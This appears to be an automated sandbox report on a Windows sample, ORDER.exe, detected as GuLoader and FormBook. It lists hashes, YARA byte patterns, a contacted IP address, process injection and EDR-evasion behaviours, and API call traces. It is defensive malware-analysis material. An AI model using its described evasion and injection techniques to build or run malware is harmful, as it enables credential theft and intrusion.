Edit tour

Windows Analysis Report
ORDER.exe

Overview

General Information

Sample name:	ORDER.exe
Analysis ID:	1509918
MD5:	08d42759644a2b6c75d6e1cdf188bf40
SHA1:	c3c6ddce56119679354eddc452ef29151ddf47cd
SHA256:	342a7c418f2125aee7a228634841450a97c0b0653c5f9217bd1bb0677a5b14db
Infos:

Detection

FormBook, GuLoader

Score:	96
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected FormBook

Yara detected GuLoader

Found direct / indirect Syscall (likely to bypass EDR)

Initial sample is a PE file and has a suspicious name

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Queues an APC in another process (thread injection)

Switches to a custom stack to bypass stack traces

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Contains functionality to read the PEB

Contains functionality to shutdown / reboot the system

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

PE / OLE file has an invalid certificate

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64native

ORDER.exe (PID: 7600 cmdline: "C:\Users\user\Desktop\ORDER.exe" MD5: 08D42759644A2B6C75D6E1CDF188BF40)

ORDER.exe (PID: 3104 cmdline: "C:\Users\user\Desktop\ORDER.exe" MD5: 08D42759644A2B6C75D6E1CDF188BF40)

RAVCpl64.exe (PID: 4652 cmdline: "C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe" -s MD5: 731FB4B2E5AFBCADAABB80D642E056AC)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Formbook, Formbo	FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.	SWEED Cobalt	http://blog.inquest.net/blog/2018/06/22/a-look-at-formbook-stealer/ http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html http://www.vkremez.com/2018/01/lets-learn-dissecting-formbook.html https://0xmrmagnezi.github.io/malware%20analysis/FormBook/ https://any.run/cybersecurity-blog/xloader-formbook-encryption-analysis-and-malware-decryption/	https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000003.00000002.32881458791.0000000032090000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000003.00000002.32881458791.0000000032090000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2bb70:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x13e5f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000000.00000002.32236386433.00000000050E4000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-12T10:16:32.598718+0200	2803270	2	Potentially Bad Traffic	192.168.11.20	49736	107.150.19.141	80	TCP

Code function: 0_2_0040515D GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,LdrInitializeThunk,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,LdrInitializeThunk,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,LdrInitializeThunk,ShowWindow,LdrInitializeThunk,LdrInitializeThunk,ShowWindow,LdrInitializeThunk,SendMessageA,CreatePopupMenu,LdrInitializeThunk,AppendMenuA,GetWindowRect,LdrInitializeThunk,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,LdrInitializeThunk,SetClipboardData,CloseClipboard,

0_2_0040515D

E-Banking Fraud

Yara detected FormBook

Source: Yara match

File source: 00000003.00000002.32881458791.0000000032090000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000003.00000002.32881458791.0000000032090000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: ORDER.exe

Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324634E0 NtCreateMutant,LdrInitializeThunk,	3_2_324634E0
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32462A80 NtClose,LdrInitializeThunk,	3_2_32462A80
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32462BC0 NtQueryInformationToken,LdrInitializeThunk,	3_2_32462BC0
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32462B90 NtFreeVirtualMemory,LdrInitializeThunk,	3_2_32462B90
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32462EB0 NtProtectVirtualMemory,LdrInitializeThunk,	3_2_32462EB0
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32462D10 NtQuerySystemInformation,LdrInitializeThunk,	3_2_32462D10
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32464260 NtSetContextThread,	3_2_32464260
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32464570 NtSuspendThread,	3_2_32464570
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32462A10 NtWriteFile,	3_2_32462A10
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32462AC0 NtEnumerateValueKey,	3_2_32462AC0
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32462AA0 NtQueryInformationFile,	3_2_32462AA0
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32462B00 NtQueryValueKey,	3_2_32462B00
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32462B10 NtAllocateVirtualMemory,	3_2_32462B10
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32462B20 NtQueryInformationProcess,	3_2_32462B20
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32462BE0 NtQueryVirtualMemory,	3_2_32462BE0
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32462B80 NtCreateKey,	3_2_32462B80
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324638D0 NtGetContextThread,	3_2_324638D0
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324629D0 NtWaitForSingleObject,	3_2_324629D0
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324629F0 NtReadFile,	3_2_324629F0
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32462E50 NtCreateSection,	3_2_32462E50

Source: C:\Users\user\Desktop\ORDER.exe

Code function: 0_2_00403217 EntryPoint,#17,SetErrorMode,OleInitialize,LdrInitializeThunk,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,LdrInitializeThunk,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcmpiA,CreateDirectoryA,SetCurrentDirectoryA,DeleteFileA,LdrInitializeThunk,CopyFileA,CloseHandle,LdrInitializeThunk,LdrInitializeThunk,GetCurrentProcess,ExitWindowsEx,ExitProcess,

0_2_00403217

Source: C:\Users\user\Desktop\ORDER.exe

File created: C:\Windows\resources\0409

Jump to behavior

Source: C:\Users\user\Desktop\ORDER.exe	Code function: 0_2_00406310	0_2_00406310
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 0_2_0040499C	0_2_0040499C
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3244D210	3_2_3244D210
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3241D2EC	3_2_3241D2EC
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3243E310	3_2_3243E310
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324EF330	3_2_324EF330
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32421380	3_2_32421380
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3243B0D0	3_2_3243B0D0
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324E70F1	3_2_324E70F1
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3246508C	3_2_3246508C
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324200A0	3_2_324200A0
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3247717A	3_2_3247717A
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324F010E	3_2_324F010E
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3241F113	3_2_3241F113
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324CD130	3_2_324CD130
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324351C0	3_2_324351C0
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324DD646	3_2_324DD646
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3243B650	3_2_3243B650
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32454670	3_2_32454670
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3244C600	3_2_3244C600
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324CD62C	3_2_324CD62C
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324EA6C0	3_2_324EA6C0
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3242C6E0	3_2_3242C6E0
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324A36EC	3_2_324A36EC
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324EF6F6	3_2_324EF6F6
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32430680	3_2_32430680
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324E6757	3_2_324E6757
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32432760	3_2_32432760
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3243A760	3_2_3243A760
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324EE709	3_2_324EE709
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3242170C	3_2_3242170C
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32430445	3_2_32430445
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3249D480	3_2_3249D480
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324EF5C9	3_2_324EF5C9
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324E75C6	3_2_324E75C6
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324EEA5B	3_2_324EEA5B
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324ECA13	3_2_324ECA13
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324EFA89	3_2_324EFA89
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32449B40	3_2_32449B40
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32430B10	3_2_32430B10
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3246DB19	3_2_3246DB19
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324EFB2E	3_2_324EFB2E
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324A4BC0	3_2_324A4BC0
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3243EB80	3_2_3243EB80
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32416868	3_2_32416868
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3244B870	3_2_3244B870
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324A5870	3_2_324A5870
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324EF872	3_2_324EF872
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32433800	3_2_32433800
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3245E810	3_2_3245E810
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324D0835	3_2_324D0835
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324328C0	3_2_324328C0
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324E78F3	3_2_324E78F3
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32446882	3_2_32446882
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324759C0	3_2_324759C0
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3242E9A0	3_2_3242E9A0
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324EE9A6	3_2_324EE9A6
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32472E48	3_2_32472E48
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32450E50	3_2_32450E50
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324D0E6D	3_2_324D0E6D

Source: C:\Users\user\Desktop\ORDER.exe	Code function: String function: 3241B910 appears 187 times
Source: C:\Users\user\Desktop\ORDER.exe	Code function: String function: 3249E692 appears 51 times
Source: C:\Users\user\Desktop\ORDER.exe	Code function: String function: 32477BE4 appears 67 times
Source: C:\Users\user\Desktop\ORDER.exe	Code function: String function: 324AEF10 appears 71 times

Source: ORDER.exe

Static PE information: invalid certificate

Source: ORDER.exe, 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamesalverede.exeDVarFileInfo$ vs ORDER.exe
Source: ORDER.exe, 00000003.00000002.32882001004.00000000326C0000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs ORDER.exe
Source: ORDER.exe, 00000003.00000003.32257379094.0000000032378000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs ORDER.exe
Source: ORDER.exe, 00000003.00000000.32173309532.0000000000437000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamesalverede.exeDVarFileInfo$ vs ORDER.exe
Source: ORDER.exe, 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs ORDER.exe
Source: ORDER.exe, 00000003.00000003.32254123213.00000000321C2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs ORDER.exe
Source: ORDER.exe	Binary or memory string: OriginalFilenamesalverede.exeDVarFileInfo$ vs ORDER.exe

Source: ORDER.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 00000003.00000002.32881458791.0000000032090000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: classification engine

Classification label: mal96.troj.evad.winEXE@3/14@0/1

Source: C:\Users\user\Desktop\ORDER.exe

Code function: 0_2_0040442A GetDlgItem,SetWindowTextA,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,LdrInitializeThunk,SetDlgItemTextA,

0_2_0040442A

Source: C:\Users\user\Desktop\ORDER.exe

Code function: 0_2_00402036 LdrInitializeThunk,LdrInitializeThunk,CoCreateInstance,MultiByteToWideChar,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,

0_2_00402036

Source: C:\Users\user\Desktop\ORDER.exe

File created: C:\Users\user\Videos\legioner.ini

Jump to behavior

Source: C:\Users\user\Desktop\ORDER.exe

File created: C:\Users\user\AppData\Local\Temp\nsw2DA2.tmp

Jump to behavior

Source: ORDER.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\ORDER.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\ORDER.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: ORDER.exe

Virustotal: Detection: 20%

Source: C:\Users\user\Desktop\ORDER.exe

File read: C:\Users\user\Desktop\ORDER.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\ORDER.exe "C:\Users\user\Desktop\ORDER.exe"
Source: C:\Users\user\Desktop\ORDER.exe	Process created: C:\Users\user\Desktop\ORDER.exe "C:\Users\user\Desktop\ORDER.exe"
Source: C:\Users\user\Desktop\ORDER.exe	Process created: C:\Users\user\Desktop\ORDER.exe "C:\Users\user\Desktop\ORDER.exe"	Jump to behavior

Source: C:\Users\user\Desktop\ORDER.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	Section loaded: iconcodecservice.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	Section loaded: srvcli.dll	Jump to behavior

Source: C:\Users\user\Desktop\ORDER.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: Besiddetrang.lnk.0.dr

LNK file: ..\..\..\Program Files (x86)\rytmiskes.cry

Source: ORDER.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: mshtml.pdb source: ORDER.exe, 00000003.00000001.32174271412.0000000000649000.00000020.00000001.01000000.00000008.sdmp
Source:	Binary string: wntdll.pdbUGP source: ORDER.exe, 00000003.00000003.32254123213.000000003209F000.00000004.00000020.00020000.00000000.sdmp, ORDER.exe, 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, ORDER.exe, 00000003.00000003.32257379094.000000003224B000.00000004.00000020.00020000.00000000.sdmp, ORDER.exe, 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: ORDER.exe, ORDER.exe, 00000003.00000003.32254123213.000000003209F000.00000004.00000020.00020000.00000000.sdmp, ORDER.exe, 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, ORDER.exe, 00000003.00000003.32257379094.000000003224B000.00000004.00000020.00020000.00000000.sdmp, ORDER.exe, 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: mshtml.pdbUGP source: ORDER.exe, 00000003.00000001.32174271412.0000000000649000.00000020.00000001.01000000.00000008.sdmp

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000000.00000002.32236386433.00000000050E4000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\ORDER.exe

Code function: 0_2_00406061 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00406061

Source: C:\Users\user\Desktop\ORDER.exe	Code function: 0_2_10002D30 push eax; ret		0_2_10002D5E
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324208CD push ecx; mov dword ptr [esp], ecx		3_2_324208D6

Source: C:\Users\user\Desktop\ORDER.exe

File created: C:\Users\user\AppData\Local\Temp\nst4C1A.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\ORDER.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\ORDER.exe	API/Special instruction interceptor: Address: 55F05F4
Source: C:\Users\user\Desktop\ORDER.exe	API/Special instruction interceptor: Address: 1CA05F4
Source: C:\Users\user\Desktop\ORDER.exe	API/Special instruction interceptor: Address: 7FFC360D0594
Source: C:\Users\user\Desktop\ORDER.exe	API/Special instruction interceptor: Address: 7FFC360CFF74
Source: C:\Users\user\Desktop\ORDER.exe	API/Special instruction interceptor: Address: 7FFC360CD6C4
Source: C:\Users\user\Desktop\ORDER.exe	API/Special instruction interceptor: Address: 7FFC360CD864
Source: C:\Users\user\Desktop\ORDER.exe	API/Special instruction interceptor: Address: 7FFC360CD004

Source: C:\Users\user\Desktop\ORDER.exe

Code function: 3_2_32461763 rdtsc

3_2_32461763

Source: C:\Users\user\Desktop\ORDER.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nst4C1A.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\ORDER.exe

API coverage: 0.6 %

Source: C:\Users\user\Desktop\ORDER.exe	Code function: 0_2_0040603A FindFirstFileA,FindClose,	0_2_0040603A
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 0_2_004055F6 CloseHandle,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,LdrInitializeThunk,FindNextFileA,FindClose,	0_2_004055F6
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 0_2_00402645 FindFirstFileA,	0_2_00402645

Source: ORDER.exe, 00000003.00000002.32870989524.00000000022EE000.00000004.00000020.00020000.00000000.sdmp, ORDER.exe, 00000003.00000003.32516873617.00000000022ED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0M1
Source: ORDER.exe, 00000003.00000002.32870989524.0000000002310000.00000004.00000020.00020000.00000000.sdmp, ORDER.exe, 00000003.00000003.32516873617.0000000002310000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWE
Source: ORDER.exe, 00000003.00000003.32255056072.0000000002328000.00000004.00000020.00020000.00000000.sdmp, ORDER.exe, 00000003.00000002.32870989524.0000000002328000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\ORDER.exe	API call chain: ExitProcess graph end node			graph_0-4282
Source: C:\Users\user\Desktop\ORDER.exe	API call chain: ExitProcess graph end node			graph_0-4276

Source: C:\Users\user\Desktop\ORDER.exe

Code function: 3_2_32461763 rdtsc

3_2_32461763

Source: C:\Users\user\Desktop\ORDER.exe

Code function: 0_2_00405D58 GetVersion,LdrInitializeThunk,GetSystemDirectoryA,GetWindowsDirectoryA,SHGetSpecialFolderLocation,SHGetPathFromIDListA,CoTaskMemFree,lstrcatA,lstrlenA,

0_2_00405D58

Source: C:\Users\user\Desktop\ORDER.exe

Code function: 0_2_00406061 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00406061

Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324DF247 mov eax, dword ptr fs:[00000030h]	3_2_324DF247
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3244F24A mov eax, dword ptr fs:[00000030h]	3_2_3244F24A
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3249D250 mov eax, dword ptr fs:[00000030h]	3_2_3249D250
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3249D250 mov ecx, dword ptr fs:[00000030h]	3_2_3249D250
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3241B273 mov eax, dword ptr fs:[00000030h]	3_2_3241B273
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3241B273 mov eax, dword ptr fs:[00000030h]	3_2_3241B273
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3241B273 mov eax, dword ptr fs:[00000030h]	3_2_3241B273
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324DD270 mov eax, dword ptr fs:[00000030h]	3_2_324DD270
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3241A200 mov eax, dword ptr fs:[00000030h]	3_2_3241A200
